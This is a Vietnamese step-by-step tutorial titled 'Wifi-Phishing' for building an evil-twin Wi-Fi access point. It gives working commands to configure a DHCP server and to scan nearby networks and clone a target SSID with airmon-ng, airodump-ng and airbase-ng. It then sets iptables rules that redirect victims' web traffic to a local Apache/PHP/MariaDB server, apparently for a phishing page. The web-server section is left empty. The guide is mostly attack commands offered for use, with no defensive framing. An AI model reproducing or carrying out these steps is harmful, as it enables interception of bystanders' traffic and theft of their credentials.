

## # Wifi-Phishing

### I. Cài đặt và cấu hình isc-dhcp-server

#### 1. Khởi động terminal và gõ lệnh sau.

```
apt-get update
```

```
apt-get install isc-dhcp-server -y
```

#### 2. Cấu hình isc-dhcp-server bằng cách chỉnh sửa /etc/dhcp/dhcpd.conf.

```
authoritative;
```

```
default-lease-time 600;
```

```
max-lease-time 7200;
```

```
subnet 192.168.1.0 netmask 255.255.255.0
```

```
{
```

```
    option subnet-mask 255.255.255.0;
```

```
    option broadcast-address 192.168.1.255;
```

```
    option routers 192.168.1.1;
```

```
    option domain-name-servers 8.8.8.8;
```

```
    range 192.168.1.10 192.168.1.100;
```

```
}
```

### II. Cấu hình web server

### III. Giải quyết vấn đề xung đột giữa Airmon-Ng và Network Manager

Tại tệp tin /etc/NetworkManager/NetworkManager.conf thêm:

```
[keyfile]
```

```
unmanaged-devices=interface-name:wlan0mon;interfacename:wlan1mon;interface-  
name:wlan2mon;interface-  
name:wlan3mon;interfacename:wlan4mon;interfacename:wlan5mon;interfacename:wlan6mon;int  
erfacename:wlan7mon;interface-name:wlan8mon;interface-  
name:wlan9mon;interfacename:wlan10mon;interface-name:wlan11mon;interface-  
name:wlan12mon
```

### IV. Tạo Wifi Access Point giả

#### 1. Mở wireless adapter vào chế độ giám sát:

```
airmon-ng start wlan0
```

#### 2. Dùng lệnh sau để theo dõi thông số các wifi internet trong phạm vi, để lấy thông tin wireless mục tiêu:

```
airodump-ng wlan0mon
```

### 3. Tiến hành khởi tạo AP giả:

```
airbase-ng -e "<SSID>" -c 1 wlan0mon
```

4. Mặc định airbase-ng sẽ tạo một interface at0 để bridge luồng traffic thông qua rogue access point, sử dụng lệnh ifconfig at0 để xem

### 5. Tiến hành phân bổ địa chỉ IP và Subnet Mask cho cổng at0 và định tuyến:

```
ifconfig at0 192.168.1.1 netmask 255.255.255.0  
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```

### 6. Xem thông tin định tuyến để lấy địa chỉ ip:

```
ip route
```

## V. Thiết lập Rule cho firewall

### 1. Cấu hình cho phép client khi kết nối access point giả có thể ra mạng internet:

```
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE  
iptables --append FORWARD --in-interface at0 -j ACCEPT  
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168...:80  
iptables -t nat -A POSTROUTING -j MASQUERADE
```

### 2. Kích hoạt forwarding.

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

## VI. Khởi động các dịch vụ

### 1. Cấp phát địa chỉ cho client khi kết nối vào access point giả

```
nano /etc/default/isc-dhcp-server  
  
XÓA INTERFACE V6, sửa interface v4 thành at0  
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhclient-eth0.pid at0
```

### 2. Khởi động các dịch vụ

```
service isc-dhcp-server start  
service apache2 start  
sudo apt install mariadb-server  
sudo mysql_secure_installation  
sudo apt install php libapache2-mod-php php-mysql  
#$db = new PDO("mysql:host=localhost;dbname=$database", $user, $password);
```